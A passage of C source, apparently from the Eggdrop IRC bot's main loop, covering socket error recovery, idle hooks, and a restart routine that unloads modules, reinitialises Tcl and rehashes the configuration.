  1657. "(@) EOF socket %d, not a dcc socket, not anything.", i);
  1658. close(i);
  1659. killsock(i);
  1660. }
  1661. } else if (xx == -2 && errno != EINTR) { /* select() error */
  1662. putlog(LOG_MISC, "*", "* Socket error #%d; recovering.", errno);
  1663. for (i = 0; i < dcc_total; i++) {
  1664. if ((fcntl(dcc[i].sock, F_GETFD, 0) == -1) && (errno = EBADF)) {
  1665. putlog(LOG_MISC, "*",
  1666. "DCC socket %d (type %d, name '%s') expired -- pfft",
  1667. dcc[i].sock, dcc[i].type, dcc[i].nick);
  1668. killsock(dcc[i].sock);
  1669. lostdcc(i);
  1670. i--;
  1671. }
  1672. }
  1673. } else if (xx == -3) {
  1674. call_hook(HOOK_IDLE);
  1675. socket_cleanup = 0; /* If we've been idle, cleanup & flush */
  1676. }
  1677. if (do_restart) {
  1678. if (do_restart == -2)
  1679. rehash();
  1680. else {
  1681. /* Unload as many modules as possible */
  1682. int f = 1;
  1683. module_entry *p;
  1684. Function x;
  1685. char xx[256];
  1686. /* oops, I guess we should call this event before tcl is restarted */
  1687. check_tcl_event("prerestart");
  1688. while (f) {
  1689. f = 0;
  1690. for (p = module_list; p != NULL; p = p->next) {
  1691. dependancy *d = dependancy_list;
  1692. int ok = 1;
  1693. while (ok && d) {
  1694. if (d->needed == p)
  1695. ok = 0;
  1696. d = d->next;
  1697. }
  1698. if (ok) {
  1699. strcpy(xx, p->name);
  1700. if (module_unload(xx, botnetnick) == NULL) {
  1701. f = 1;
  1702. break;
  1703. }
  1704. }
  1705. }
  1706. }
  1707. for (f = 0, p = module_list; p; p = p->next) {
  1708. if (!strcmp(p->name, "eggdrop") || !strcmp(p->name, "encryption") ||
  1709. !strcmp(p->name, "uptime"))
  1710. f = 0;
  1711. else
  1712. f = 1;
  1713. }
  1714. if (f)
  1715. /* Should be only 3 modules now - eggdrop, encryption, and uptime */
  1716. putlog(LOG_MISC, "*", MOD_STAGNANT);
  1717. flushlogs();
  1718. kill_tcl();
  1719. init_tcl(argc, argv);
  1720. /* this resets our modules which we didn't unload (encryption and uptime) */
  1721. for (p = module_list; p; p = p->next) {
  1722. if (p->funcs) {
  1723. x = p->funcs[MODCALL_START];
  1724. x(NULL);
  1725. }
  1726. }
  1727. rehash();
  1728. restart_chons();
  1729. call_hook(HOOK_LOADED);
  1730. }
  1731. do_restart = 0;
  1732. }
  1733. }
  1734. }